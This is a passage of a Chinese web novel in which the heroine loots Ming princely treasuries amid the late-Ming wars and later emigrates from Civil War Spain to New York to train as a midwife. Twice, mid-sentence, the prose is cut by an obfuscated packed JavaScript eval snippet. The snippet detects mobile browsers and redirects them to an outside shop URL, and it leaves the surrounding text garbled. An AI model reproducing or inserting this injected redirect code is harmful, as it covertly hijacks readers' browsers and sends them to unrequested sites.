居然只有最外间的那几箱子是银子,里间的其他都是比如一个大箱子只有一座白玉雕的佛像、一整棵珊瑚、织锦缎之类,最讨厌的是几顶帽子都是只有一块玉石值点钱的男帽,没有一顶“满头珠翠”女士宝冠。 她不死心,继续开盲盒,终于在一箱子高级锦缎之后开出来金锭。 这个箱子好像还是在中间那边小桌上放着的。所以大箱子都是无法变现的,小箱子才有好货? 苏茜扔下几个大箱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254113|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的锁头,转往小箱子。果然,越小越值钱啊!用最后一点力气劈开一只小箱子的锁,居然是玉料,没有雕琢,但摸也能摸得出是大块好玉。 行了,其他的盲盒明天再开! 难得的,她累得没力气修炼,只拿点虾干对付一下,按摩手臂肌肉后,躺下抓来薄毯就睡觉。二十六七度的温度,正好眠。 第二天,定定心心预热炉子,捕鱼,蔬菜馅饼配海鱼。吃饱后继续砍锁头开盲盒。 三天清理下来,难以估价,大部分无法出手。但不得不承认都是好物件,光是金银锭就足以自己这辈子花的,比自己辛辛苦苦扛的原石值钱多了。 就是难以变现,甚至某些时候一文不值——比如珊瑚树,如果几百年后拿出来,搞不好吃牢饭。 可能银库就是自己直接略过的大仓库呢!可惜自己再……太累了,还不一定划算,不想再来一回。何况她想了半天愣是没想起来王府被打下的先后顺序,别出现自己辛辛苦苦赶路过去已经晚的情形,那就太郁闷了。 史书里最有名的是洛阳的福王,可到底是哪年的事就有些不记得了。 为了避免将来碰到其他类似的事情,她爬起来去找还没成碎屑的书,然后拿笔墨记录。毛笔写字母真是够呛。 这活计一直干了十几天,扔掉一本一扯就碎的英语书。苏茜出去看情况。 仓库的大门虚掩,外面,还有整齐的灯光! 他们还没走啊?难道要常住? 苏茜打扫了脚印,缩回岛。她的存货多着呢,能缩半年不便秘! 之后的一个多月时间,她每天不是弄吃的就是修炼和练武,还把法师冥想捡起来,继续锤炼自身,还试图练出轻功——虽然不可能真的高来高去,但外功配合内丹,武技身形确实有进步——每晚睡前仍旧会看一眼王府情况。 直到有一天发现没灯光没火把没巡逻! 她换了宫女的衣服闪出门,各处看了一圈。没人!一个都没有!再去各个仓库,将一些零星放在那的米袋都收起来。这“零星”的米也够她吃一年的。 回去换平民的衣服,然后从后角门溜出去。 整个城市一片死寂,大部分是火烧后的废墟。店铺、宅院,统统毁了,只留下少量旧房子还“健在”。好在尸.体全没了,不需要闻满城尸臭。 苏茜没多停留,连夜离开这个可怕的鬼城。半夜里就划船顺江而下,到早上时还翻了一次船。 真是见鬼! 苏茜用各种语言嘀咕着,换衣服修炼后睡觉。 * * * “……李闯王在北边盯着!官皮们不敢大意,也不敢盘剥得太厉害,就怕百姓们开门迎接。”一位不到四十岁的“老”妇一点不在意别人听见告密之类。她的丈夫和儿子都死了,女儿和夫家一起没了,唯一的小孙女夭折了,什么都没有了,只一个人卖甜汤度日,活一天是一天。 苏茜听了来往的人谈论,结合隐隐记得的史料,才大概猜出是李闯的大军压境,官兵都去应对李闯了,导致后方空虚被占,而本来想在楚王府“称帝”的“张剃头”可能在一场空的李闯威吓下跑了。 继续沿江而下仍然是战乱战乱。而如果一路向东到了扬城……清兵屠.城,若干年后才恢复。 也许过段时间慢慢走回青山附近的“家乡”——这个慢指的是花个三四年——就能“享受”清静的隐居生活? “……我屋后那三间草房本来还租给一对打鱼的夫妇,结果,他们去了江州再没回来……东西也都在,人没了……” “老妈妈,你那三件草房还租出去吗?我本来想去江州的,看来不行了……之前那对夫妇的东西装个箱子放你那,他们回来我就走。” “你要租?算您便宜,一个月二十文钱,可行?但说好,我种的菜你吃的话是要付钱的。”房东太太是真的缺生活费,之前住处低价卖了买下现在这处更便宜且还能种点菜的小院,屋后的草房,其实是之前主人的下人杂物间,后来拆建成几处分别卖掉时其实没有写入地契,或者说这片地其实是无主地,只是因为没有价值而成了片附属的“添头”,便宜了这位房东太太。 “行!”有个明面上的落脚点就行,何况她是个江上“渔夫”。 当天苏茜就先付了二十文,搬进比茅草棚好不了多少的草顶破砖房,傍晚就见到其中一间屋漏雨的情景,难怪这间没有任何居住使用的痕迹,还一股霉味。她当然没管漏雨,不然会崩掉穷渔夫的人设。 船是现成的。这房子,或者说这个小镇子最大的好处就是有个水湾,可以停几十条船大小船只。所以苏茜只是“偶然”回去住,接着又继续出门讨生活。 只是这天下午她买了一批蔬菜和种子正打算回去,突然看见,或者说是听到岸上不对。她头也不回继续划过。等到下一个可以上岸的野沙滩直接轻微搁浅后上岸收船。这地点前不着村后不着店,而且停靠不便,根本没人定居,导致了没有路。 她走了有三公里路才走回那个小镇。 船被不知道哪一路“义军”买光了,拿的银子不多,可这钱买不到新船,家家生计都出现问题。 苏茜算算自己的“房租”已经交了,不欠房东什么,于是慢条斯理地继续走下去。蜀道难,长江逆流而上也难,所以她选择有人烟的地方走,沿着长江走到哪算哪,陆地发现不对就去水面上,水上不对劲就到岸上。 张剃头不愧是剃头,半年时间将湘省也给霍霍掉不少,藩王和藩王的仓库也没了,虽说号称三年不纳粮,可他要人命啊! 倒是楚王府“回到”了李闯手下,大家松口气。百姓们早就没有了不纳粮的高兴劲,那几十万军队需要吃饭、需要兵器,在将大明官仓王府世家大族都“拿”干净之后,是时候种粮食和收割了。 不过总体上,李家班比张家班的管理好多了。 北方旱灾仍未结束,蝗灾过后寸草不生,还有可怕的鼠疫。而西南方,在一个杀.人.狂的祸害下也没好到哪。至于最好的江南富庶之地,除了鼠疫与冰河期导致的粮食欠收,还要“迎接”清兵的杀戮劫掠。只有李闯的势力范围稍微要好过些,可惜他没有朱重八的好命。 68.谁赚谁的锅(三) 冬天了,苏茜依旧在时不时能看到江水的山间走走停停。没法子,个别地方有传染病。不是立刻死的肺鼠疫或死状恐怖的腺鼠疫或二者的可怕结合,而是流感。 要不是天天修炼锻炼,以她原来的身体碰到流感肯定中招,弄不好没命。所以苏茜甚至是直接整筐买菜,买了就立刻回去洗菜换衣服,药铺医馆因为挤满感冒病人,连大夫和伙计都在咳嗽。 冬天最冷的季节,江边和岛上的气候意外同步。 是冷,早上霜冻,但室外无冰雪,与北方的滴水成冰不是一回事,今年江水就她看到的水域并没有冰封。 可能,冰河期最严重的时候过去了? 但事情没完。明、清、顺三朝鼎立,加上一个杀.人.狂,四角俱全。各个势力交界处一团乱,尤其是中南,三个势力混在一起。 “你给我——” 噗! 苏茜毫不犹豫地抽出短刀就刺,将扛着砍刀威胁所有集市摊贩甚至顾客交保护费的家伙捅个对穿,再抢下对方的砍刀,潇洒走人。 压根无人管。大明和大顺在山区小集市都没有管理人员,至于大西,啊,现在好像还没成立?即使成立也不会管。 这砍刀不错,像是战场捡来的。 苏茜根本就不管现在在哪,整个人放松恣意,除了到处找好吃的、可以移栽的,其他漠不关心。 于是在应该冷却没有冷的时节,她惊愕地发现已经走到了渝城附近。 这边还时不时打着呢。 走得太快怎么破? “锦城?那不是还在北边的朝廷手里吗?哦,不是西边的,是平城的那个。”这边人口在经过无数折腾后,还剩了不少,靠着有家人在张剃头拉去当兵而存活——当兵的孩子是死是活就不知道了。 “……”不是,好像这时间崇祯已经自缢了?苏茜差点眼前一片飞蚊,不过想起来这个年代的信息不畅通,也释然了。 嗯?也就是说,蜀王府还在? 要不要下手?她一边犹豫,一边大肆买今年的新米新面、蔬菜种子和各种肉干。然后控制不住自己的脚,慢慢往锦城走。 再慢也就是十几天的路。 进城很容易,应该说是非常容易,挑着担子的人交铜钱就进。 但城里情况却比城外更糟,很多人家已经离开了——很多人去了她现在身体的家乡,这一点让人很是意外,又觉得情理之中。幸好他们没去江南,死于鼠疫或清兵。至于两广,有南明的存在,后来又海禁,反正都够呛,尤其是广城还被汉将屠了、比扬城还惨。倒是可以考虑去琼岛?她一边想着,一边继续在街上采购。 王府的墙似乎没之前那座的高?苏茜目测着,同时嘴里还“欣赏”着守卫,“不愧是王府,门口的人都如此威风。” “嗤——”边上有人笑了。 “唉唉,比我威风。”苏茜也笑。 “哈哈哈哈——”好几个人笑了。 苏茜在士兵过来找茬之前溜了。 不知道是不是人心乱了的关系,混进蜀王府的过程居然更“顺利”。不仅是护卫服、大刀和侍女裙子,她还弄到了身太监服——跟楚王府的不是很一样,所以得换新的——只要调整本地口音和习惯用语就行。 连太监都出逃——带的财物还不少——可见整个城市已人心惶惶。 本地官员应该已经知道“先帝”已死的消息,但居然没有退却的,依旧在招募居民死守。 苏茜对此只能叹息。他们没死在张剃头的刀下,也会死在清军刀下,甚至可能因为不肯剃发而死……不感慨了,先找库房。 这里只有前后两个库,都很大。二选一,后库吧。哪怕都是绸缎,也能当床单不是。她现在用的床单和夏凉被和被套都是锦缎,非常高级,随便霍霍。衣服则是懒得手缝,全部买现成的——足够穿用十年的棉布、棉花和丝棉。去年开始她终于自制了脱脂棉,谢天谢地。就是三七无法自己种,所以她打架的时候都尽可能不让自己受伤,即使用木仓引来关注也不在乎。 城中、府里,到处都是真实的谣言,逃跑的人越来越多……一不留神,居然让苏茜爬上仓库屋顶,甚至从屋顶拿开瓦片的地方跑到梁顶的棚子,再从棚子的缺口处用梯子下到仓库里。 唯一让苏茜吓一跳的是差点从三米高破洞棚顶摔下去骨折甚至重伤——那真的得给自己太阳穴一木仓了结了。 她的梯子倒很给力,颤颤巍巍的竹梯居然是最好用的一款,长度够、韧性好,都做好半途断掉的准备,结果平安落地。要不以后在岛上移栽一棵楠竹,若干年后收获一小片竹林,或是一根烧火用的枯竹? …… 这次赌对了,起码有贵金属。 苏茜收了三个晚上,除了家具和重新扫过的浮灰,什么都没留下。 收到几吨白银是什么感觉? 氧化了怎么办,要多少公斤洗银水啊! 为啥他们就不用黄金呢?永远金灿灿的,还可以砸扁用。哦,还是有金的,都是金镶玉、金镶宝。玉石很好、宝石很大,就是变现难度大。 她闪回仓库里,惊愕地发现居然没被察觉。再拿出梯子上棚顶,只有自己留下的痕迹。再摸顶上瓦片,那个洞还在。 她探出头,观察四周。连守卫都没了,远处灯光惨淡。一不做二不休,跑人! 当时自己跑进来的小门甚至都没锁。苏茜亲眼看见一个侍女跑了。所以她也跟着跑了。 “……”对方看看自己,没说话,大家分开两条路走。 就这样?!苏茜不敢置信,接着她就发现,自己出不了城了。 城门、城墙都是火光。人都在外头守着呢! 巷战打起来了。 她果断地爬进一户一看就是空置很久的破屋里,想到就出来看看,终于在第三天,人品大爆发地在城破之时,跟着难民一起从另一侧城门跑出锦城。 在远远看见骑兵杀过来时苏茜无视可能被发现蹊跷的风险,果断趴地上回岛。 这两个月过得有够刺激的! 她坐在山洞口大喘气。 一辈子这样的两次历险也足够了,赚到的能吃五辈子。她先给自己弄吃的,洗澡洗头吃完饭,才慢慢开始理箱子。如果只放一层箱子,山洞都满了,她不得不将金属倒出来,箱子叠起来,再将金属扔进去。 另外就是把不耐存放的、不同类别的拿出来或分开放。光是整理一个库房就断断续续费了二十几天的体力活,顺便还把山洞里的存货全部再清理一遍,快不行的赶紧拿出来随便用,垃圾则是放一边木轮推车上,堆了大半车就拉去后山扔下垃圾海滩。 都做好,把石屋也全部打理一遍,出去时现世大变样。 首先,尸.体都没了,血迹碎肉经过雨水冲刷,仿佛什么也没有发生。 其次,锦城成为大西的都城,张剃头的宫殿就是原来的蜀王府。 最后,人少掉很多,尤其是老人和幼儿基本看不见了。 苏茜无可奈何,往西北方向而去。 这一路没有处理的尸.体就逐渐多起来,但真到了山下反而没什么人和尸了。因为这里不产粮食又只有下山买粮盐,人口稀少且贫困。山上的道观大多破产,少数的还挣扎求生。 所以苏茜直接挑了个废弃道观。打扫出一间道士的住处,铺一堆干草、一床几十年前的棉被,放两件破衣和一套蓑衣帽子草鞋,还有个路上破屋里捡的小炉子。 看上去很像一回事。 接着就开始各种试验。 传统烤炉烧干燥后的竹子,因为温度的关系燃烧效果不佳,但如果时间足够长也是能做熟食物的,而且比烧煤安全。火塘里烧竹子倒没问题,哪怕干燥不彻底,在通风条件好的情况下有些烟气也无所谓,就是烧竹子会有响声且温度略微不足。 所以苏茜依旧没有移栽竹子,只是几天砍一棵杂木,挖些竹笋、野菜和腐殖土,将所有做工良好的空箱子都在箱底凿洞后用作种瓜菜水果。 山上湿冷,夏季除了蚊虫多,温湿度比较舒服,可到了冬季就难过了。苏茜几天才出来一回,一是看看环境是否安全,二是偶然下山打听情况。 一年多的时间里,小小集子连摊位卖的东西和摊主都不大变,偶有变化都够说很久的。 “粮啊,粮……一家子都没了。” “真的假的。” “真的。他们家邻居说的,来了一群人,不交出来就活活烧死。可他们那时刚卖掉,只有些自家吃的……和房子一起烧了。” “说是简城那边都死绝了。” “嗯,被咱的大王给——了些,其他不是逃了就是饿死了。” “我们这还算是好的呢!” “我打算看看,不行再往山里。听说,当兵的有时都会全家被剐了做成人肉干!” 苏茜觉得说这话的可能是清兵的探子,但对方没剃发。 “难不成开始自己人吃自己人了?!”虽然是张剃头干得出来的,但也太可怕了。 “说是心怀不满的。” “哦。”那没事了。那些兵也没少杀抢百姓。 “可一直传,”比个大家都懂的手势,“要北上去老家,因为鞑子打过来了,连大顺都败了!也不知道真假。” 说这话的人不住叹息,然后径自往山上走。 苏茜也往山上走。简城有个人在家书里记录了全族以及周围人死于张贼手下的各种场景,可信度很高。所以锦城南边的简城毁了……他们这里偏北,听说逃进南边山里的人越来越多,因为已经找不到吃的了。她的道观还在翻过去两座山的地方,连石阶都是断断续续的,估计…… 她瞪着远处一大群男女老少,在她栖身的道观里进出,扭头走人。自己穿的是应季薄棉衣,那些人都是单衣,小孩不是草鞋就是光脚,所以她选择自己走开。 继续往山里、往高处走。那边人更少,至少冬天是这样。 冬天下雨的千米海拔山林相当不友好,没有野兽也没有人类,只有被冰冷雨水打湿的沉默的松树。苏茜轮斧砍,然后拖回岛清理枝叶。松针枝叶烧了做绿肥,木头锯成长段,削去些树皮,横放在火塘上方的地面干燥,木头冒出阵阵白汽,看着非常解压。 一支颇大的红蜡烛在烛台正中,流下的烛泪形成一小汪。她掰下蜡,放入火塘,顿时火光大盛了一分钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258952|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才慢慢恢复。火塘里烧着的也是一长段松木,是横放着的,能烧几个小时……然后苏茜就睡着了,还做了梦,似乎不怎么愉快,但醒来就忘了梦的内容。 规律平静的生活过得很快,又到了蚊虫肆虐的夏季。 感谢她的岛没有蚊子。 已经难得下山一趟的苏茜辗转半天都没找到集子。太奇怪了,以往都是在这里的啊?!建筑街道一点没变,就是没人。 呃,人呢?她试着敲门,无人应。哦,门上还挂着锁。再去找一圈,几个小小店铺也关着门。小村一片寂静。没有尸臭味,好像是有序撤离一样。 她不死心去其他地方。越靠近锦城,镇子越多。但镇上全部关门闭户。 啥情况?! 她直接向锦城走去,终于路过一个有人烟的镇子,一个背着一筐野菜的中年人麻木地看了她一眼,往镇后的家走去。镇子主街全部关着门。 绕回靠近官道的地方,继续。锦城在望,呃,城门没有守卫。 只有未及时清理的腐尸……不论生前多美,死后只要保存不力就很丑很恶心。 锦城几乎成了死城。 等她调头返回山上时,看到了最不想看到的,杂兵乱杀掠。 谁杀谁呢?!个别杂兵她直接射杀,弓箭来自于楚王府,就是箭矢不多,需要回收了继续用。弓箭不够用就上兵器。对这种只有力气——力气还不算特别大——没有武技的玩意儿,她能一打五。 但超过五人就得避开了。 弄死大几十,战利品却不多,气得苏茜杀起来更不客气,连尸.体都懒得自己处理,拿走所有武器和财物就走,不动口粮食物,连尸.体一起留给其他饥饿的人。 * * * 苏茜其实挺喜欢冬天的,虽然出海捕鱼如果碰到下雨不是件美好的事。岛上气候温和,烧炉区域就在石屋门口,再出去可以练武。苏茜现在的身体已经可以在冬雨中训练,练完洗涮烤个火喝壶热茶即可。除了没有牛奶跟其他乳制品,种类丰富的调料和茶叶让每天的日子都有期待起来。 等山下集市再次开起来时,苏茜眼尖地发现已经有人剃发扎辫子了,但都穿得不错,而大多数衣着破旧的人没钱也不愿剃。 这边被清军占了。 苏茜松口气,半腐烂的尸.体任何时候都不是美好的事物,四肢健全地活着总是好的。回去她就换身道袍、梳个道士髻,找了间山间最深处的破道观,找人把前殿用便宜建材修缮了下,而后院还是破旧茅草房、只是把破洞补了,显得极为寒酸。 至于“专业业务”,她选择画符,经文倒是从各个废弃道观里搜罗来的,自己再手抄一遍。另外,有好多正面的符箓可以选呢!甚至还带着微量的灵气,保证比骗钱符有用。 三清殿里三尊破破烂烂的神像前有个旧蒲团,蒲团边一个破旧功德箱和一个小桌子,桌上有一小叠“平安驱邪符”,捐十文钱可以取一个。 苏茜本人则是窝在修得不漏雨的草房里,生个小泥炉,坐在垫上抄经——实际上是练毛笔字。 上午开门、下午关门,一个月最多一笔捐款,平时都住岛上。倒也活得有滋有味。 锦城里的废墟也就是清理了一小半,店铺加起来也数不出三十家。大部分宅院的主人都死了,活人能填饱肚子都算过得好。清国的官员到现在都没齐全,只来了寥寥几人,收商税、整理田宅地契。 由于官府文书全部没了,逃亡途中带着齐全契书不丢失的少之又少,只能先办理有凭有据产业,核对了重新誊录、交税,确认归属。目测这项工作能做三五年,才轮得到重新分田分宅。也有趁火打劫想低价买城中、城外好地皮的,能否如愿就看官吏的了。 反正苏茜没打算买田宅。 她去办度牒。观名是老的,没变,地点……她都说不清楚,只说上了山从小道“抄近路”走三四个时辰就能到。登记的衙役看在两块银子和三个平安驱邪符的份上给她弄了个临时度牒,因为僧道度牒最终还要京里批复,所以且等个两年吧。 结果十年都没等到。 反正苏茜无所谓,都懒得去锦城问,只时不时下山采买,山路上顺便收拾不长眼的——如果有可以收拾的匪的话。 仗还在打,蜀东南一直到滇省。一部分百姓对张剃头的旧部毫无好感,一部分人秉持对异族的本能厌恶而同情那边。有时市集里也会吵起来。 功德箱里的符卖了近百,稍微攒了些钱之后,苏茜就买了漆和木头自己修理前殿神像供桌。 再攒些钱就是点长明灯烛和放置供品。 等前殿终于修得像样了,有了来投靠的其他道士,苏茜给那俩真正的老道士留下十几页“符文集”后就换上女装,扮成寡妇去稍微恢复了的锦城赁了两间屋居住。 这时,张剃头的余部全灭,可吴三桂又成了反清的,来打川省。 可这些与苏茜这个“可怜的老寡妇”一点关系也没有,她将买下人的钱用来“偶然”买点肉打打牙祭,平时大都蔬菜野菜米饭过活,房租一年都不到一两银。 对于或善意或嘲讽的议论,苏茜一笑了之。 真的无所谓,反正自己赚了。 69.主角不是我(一) “生产力的发展是一个绝对必要的实际前提,因为没有它,匮乏只是普遍的,在贫困的情况下,为生活必需品和所有肮脏的旧生意而进行的斗争必然会再现……” 苏茜满头包地听着舅父大人与父亲大人分别用加泰罗尼亚语和阿拉贡语辩论,辩论的“标的”还是口音乱七八糟的德语跟俄语,他们就不能好好地统一用西语吗?她听起来非常费力。活见鬼了,两个西国内.战时期的无政府主义者居然见解不同。 很好,现在怎么办? 她和母亲玛丽索尔面面相觑。 “民兵现在已经不收女兵了。”怎么解决吃饭问题?大家打跑了领主,赶走了银行家,但其他没有变化,甚至生活来源都成了问题。他们这样原本还过得去的知识分子家庭,现在一身工装,吃饭也吃不饱,怎么办?男人们只要有根烟就能饿着肚子滔滔不绝地辩论,孩子们呢? 苏茜也看向弟弟阿德里安和妹妹贝伦,一个十岁,一个七岁,他们甚至都不上学了。 苏茜将母亲拉到破败的盥洗室,“我们去美国吧。卡萨多的队伍懒散没经验的样子,我觉得他们打不过斯派军队。那我们家可能会被清算,我们家,舅舅家,都会失去工作和收入,我们,和玛法尔达表妹她们,都会饿死的。” “你父亲不会走的。” “那就饿几顿,不给烟,不给面包。”瞎折腾的小孩罢了,饿两顿就够了。 “……把他关起来?” “……我来试试。还有,我们得去找些值钱的东西,不然买了船票就没钱,到那边打零工很辛苦。”虽然大萧条最艰难的时期已经过去,可真的没有好到哪里去。“去买个小农场也不错,那边地便宜。” “……事情真的会那么糟吗?”玛丽索尔是个喜欢安定的人,每天按部就班地生活才是她期望的。此外,她不太会讲英语。 “你忘了我们这套房子是分配了前领主的。肯定得离开。”再之前一家住的是学校宿舍,两间房间的那种,父母和孩子们各一间。 “那我们还是回去做教师?” “您忘记了斯派的校长讨厌爸爸吗?”还有,那个校长不是民粹派,将来也得滚蛋。 “……”其他都可以忍,但孩子们是玛丽索尔的逆鳞,一碰就翻脸,即使小表妹她们也比舅舅更得她的照拂。她是敢于拿着菜刀追杀胆敢摸她宝贝女儿的混混的剽悍妈妈——在苏茜“觉醒”之前,之后的话就不需要母亲出面了。 “我先试试吧。然后告诉他我们这里的民兵失败了。” 事实上是真的失败了。连木仓都握不住的少年兵,对上成年混混酒鬼痞子们的队伍,完败。 “闭嘴!都是你们这些只会动嘴皮子的家伙坏的事,害得革.命失败!”玛丽索尔低喝一声,不断嘀咕的胡安-卡瓦列罗跟小舅子西奥-巴利乌斯顿时熄火。他们确实不敢开木仓,只会嘴上咧咧。 苏茜无话可说。这种乱糟糟的玩意也叫革.命?光内.讧就能笑死人。 她沉默地收拾文件行李、扔掉无用垃圾、偷放物品回岛,顺便调节父母的争吵和行李。 “短短”三天后,她背着不轻的包裹,拉着同样背着包、胡乱套上大部分衣服的弟弟妹妹,跟着大人们等马车。 不走也得走,不然就去死。父亲的友人家被一伙子人砸抢后全部被杀:这就是大人们突然就火速扔掉家当走人的原因。再不走苏茜都打算自己先跑路了。 车来了,只有一匹马拉着一辆拖车。两家人家的行李放上去都够了,人,走着。 不拿木仓的话,离开家乡是没问题的。 恰恰问题就是离开家乡本身。 他们得先去几十公里外的布港,再乘船去巴港,最后辗转渡过大西洋。不过在这之前,两家为了伦敦还是纽约吵了一架。最后因为大家的——除了苏茜——英语口音不佳而决定去北美。 说实话,家里还是有些家底的,苏茜有些相信老爸自称有王室血统不是假的。 “还有这个,我抢来的。”苏茜将一条宝石项链塞到玛丽索尔手心,握起,低声道“一起卖了。” 玛丽索尔深深看向女儿,最终没有说话地去找开首饰店的远亲。女儿已经到了恋爱的年纪呢,虽然有些早…… “乌苏琳娜,我们接下来怎么办?”玛法尔达拉着四岁的小妹妹伊利亚娜。她们跟着父亲走了两公里路,才找到两辆马车,让大家不用徒步走到港口,期间只吃了一点面包和清水,现在又累又饿又惶恐。 “坐船。你晕船吗?” “不知道。”啥叫晕船?只坐过车的小朋友不明白。 “坐上去就知道了。”苏茜轻快地道。“不行就躺着好了。”跟没命相比,晕船不算什么事。 …… 所以苏茜她们四个女孩和一个小男孩就躺在一个舱里。两张窄床中间加了个铺——还要另外交钱,形成一张大床,躺五个, 两家人家两间三等舱房,非常要命的体验。 总比棺材板船好,苏茜只能这样安慰自己。 “你外祖父母跟着你拉戈舅舅一家去了意大利堂姑家,我也不知道是好是坏。”理由是玛法尔达的妈妈过世无法照顾老人,但实际是她哥哥。玛丽索尔边叹气,边将领来的面包涂上黄油递给孩子们。她其实更想去瑞士,但没有亲戚、钱也不够多,只能去移民国家北美。 当然是……呃,还真不一定。意军如何,懂的都懂,只能说德意志有了这个拖后腿盟友纯属倒霉。 苏茜吃着每天一样的单调食物,只觉得心累。明明有着半山洞的贵金属,愣是没法改善自己的生活! 要不,去北美找个医院学习护理,边工边读,早点离家独立生活比较好,把“工资”全部寄回家也没有问题。 十几天的航程几乎可以用度日如年来形容。 除了玛法尔达,其他孩子们都不晕船。可见自家基因很不错! 每到一个港口,大家都跑去船舷上看风景。 “这里真热闹!” “这就是货船!” “法国很浪漫吗?” “为什么这里叫绿岛?” “那些人扛的是什么?” “……” “……” 小孩子们总有各种问题,苏茜不算有耐心地随便回答,有时甚至是随口胡诌,听得玛丽索尔无语凝噎,干脆撇下孩子们跟丈夫和弟弟一起说话。 苏茜约束着弟妹表妹们不离开自己视线,除非是去两间舱房边的厕所。好在唯一的男孩阿德里安年纪小且听大姐和母亲的话,不然没事翻栏杆玩、掉到海里被海浪卷走的一个顽皮男孩就是榜样——船不可能为一个调皮作死的普通小孩停下打捞,最后头等舱两位贵妇捐了点抚恤金了事。 另外船上还病死两个人,都是三等舱的。 到达纽约时,苏茜是松了口气的,起码不用闷在狭小的船舱里窒息而亡。好在现在是秋天,气候正合适,不然不管是冬还是夏,都更为可怕。 大人们用一口蹩脚的英语跟两个出租车司机聊天,询问可以落脚的便宜房子,还递上小费。其中一个问了另一名等生意的司机,问到一个地址,然后两家人、两堆行李,挤上两辆出租车就上路了。 曼哈顿,西裔社区。不便宜。苏茜估算了下大概的价格,觉得大人们要窒息。 “……三间卧室、五张床,厨房,盥洗室,都是齐全的。”司机推荐的就是这栋楼。五层,没有电梯的五楼,对外出租十好几间房,小单间或两室如果租两套,还不如只租一间大的公寓。 每周二十,美刀,这已经是看在同乡份上的优惠价了。 算下汇率,比老家贵若干倍!三个成年人面面相觑,咬牙租下。 苏茜觉得这个价格确实比较划算的,城市边缘破破烂烂的三居室也得十几块,跟曼哈顿的公寓式酒店租金完全不是一个档次。 大家沉默地就用原主和房东留下的床单和旧毯子等等对付。玛丽索尔不敢花钱,她和两位男士商量今后的路。他们原本打算还是做文人工作,教数学和西语意语、写文章等等。现在发现似乎有些不对。 这里的普通学校和学生不需要学“外语”,有钱的直接雇保姆和家庭教师。至于数学,有那么多讲英语的数学教师在摆摊。还有写专栏文章,这里的报纸杂志从不欢迎那么多“思想”,他们只关心财富和八卦。 “……只有金钱和男女之间的那点事,还有犯罪。”西奥放下昨天的报纸。 “妈妈,”苏茜给电烤箱定好时间,然后从厨房出来,“明天开始,我打算去附近的医院看看有没有护士培训。” “护士?不行!”那么没地位的活计,怎么能让一位未来的淑女去做! “怎么不行,难道我还能付大笔学费和服装费读寄宿女校吗?在家的时候就做不到了。”在老家她也只上了一年中等女校。 “……”胡安颓然地坐在没有软垫的椅子上。他也不可能让十五岁的女儿现在就去结婚。 “是先学习,再工作吗?”玛丽索尔皱眉问道。 “应该是。”其实不是。 “……好吧,先看看。”玛丽索尔叹着气,完全没有意识到大女儿什么时候学会用电烤箱做面包和配菜的。 苏茜一点不想跟妹妹和表妹们挤一间住。她觉醒后只在上厕所的时候匆匆回岛,石屋都没时间打扫。 但找护士培训的过程不太顺,苏茜跑了两天,终于在早期的教会医院、后来的贝氏医院找到有可以立刻报名的护士培训——助产士培训班,其他的名额已满,需要等明年。当然,当了助产士也可以再上普通护士培训班的。 “你,可以接受吗?”健壮的中年女护士看看一副淑女样、虽然穿着奇怪工装的女孩,对方自称在民兵组织里当过护士。 “我协助过接生,只是没有独立接生过。”她的年纪摆在那里。 最后,她通过在医院急诊表现了一把“手法”而录取。她对医院学徒制培养护士没有任何意见,因为这有利于后续的工作。 * * * 助产士…… 两家的大人和半大孩子们都沉默了。一位淑女去做助产士,这世界怎么了?! “爸爸很没有用——”自诩有本事了半辈子的胡安抱住了头。 “爸爸,为什么您要这样说,想想老家现在的情况。那些在街垒被打死的十几岁少年。”苏茜顿了下,“还有棚户区十三岁就开始出卖自己的女孩,农场里五岁就开始干活的男孩女孩,爸爸,我已经很幸运了。哦,对了,医院有护士宿舍,我可以住那里,省得电车来回那么多路,也不安全。” 护士宿舍是真的,上下铺四人一间,而且助产士学徒想住要付住宿费。苏茜甚至都不想上课,只想回岛躺着。 她拿了一袋子去掉严重氧化黑的银锭去银行折腾兑换了一叠银元券纸钞和银币,离开了那套整天唉声叹气天马行空、却不愿意立刻去努力的公寓,他们甚至都没想过好好学英语——她说了两次都只说过几天就练,也懒得讲第三次了。在懒散拖延这一点上,阿拉贡人似乎没有比加泰罗尼亚人好多少。 前三个月的学徒期是没有工资的,但有一餐工作餐。苏茜第一天就“上课”就被拉去产房,好在不需要值夜班,每天三到十个生产。 原来她能立刻“入学”的原因是前一位学徒半途受不了血腥和婴儿的吵闹不干了。 “嘿,你是新来的学徒?好小啊……怎么样,能习惯吗?”一位“经常合作”的德裔医生在吃饭时微笑着问道。这位西裔移民似乎没满18周岁的样子。 “我不是童工了……可以适应,特别是现在不讲究‘绅士的手是干净的手’……另外,消毒液真是有用极了的发明。”当然是英音更符合欧洲移民的身份不是吗,虽然大部分欧洲大陆的移民会对此持谨慎意见。 产科的男医生跟女护士、女助产士们,总是处于一种微妙的对立,关系好才奇怪。尤其是男医生不洗手、甚至解剖尸.体后不洗手直接接生的梗,若干年后仍然是个梗。 因此对方的笑容略微扭曲。 苏茜压根不带怕的,谁让己方的女人们力量强大呢,接生从来都是女性为主的职业,男医生只要负责剖腹就行,其他的包括缝合输液开药都不需要他们动手——感谢工业社会,现在已经不需要医生“亲自”动手输液了,部分高级女护士也有开药权。等三个月后,苏茜开始拿18块的周薪,还可以免费住四人宿舍。 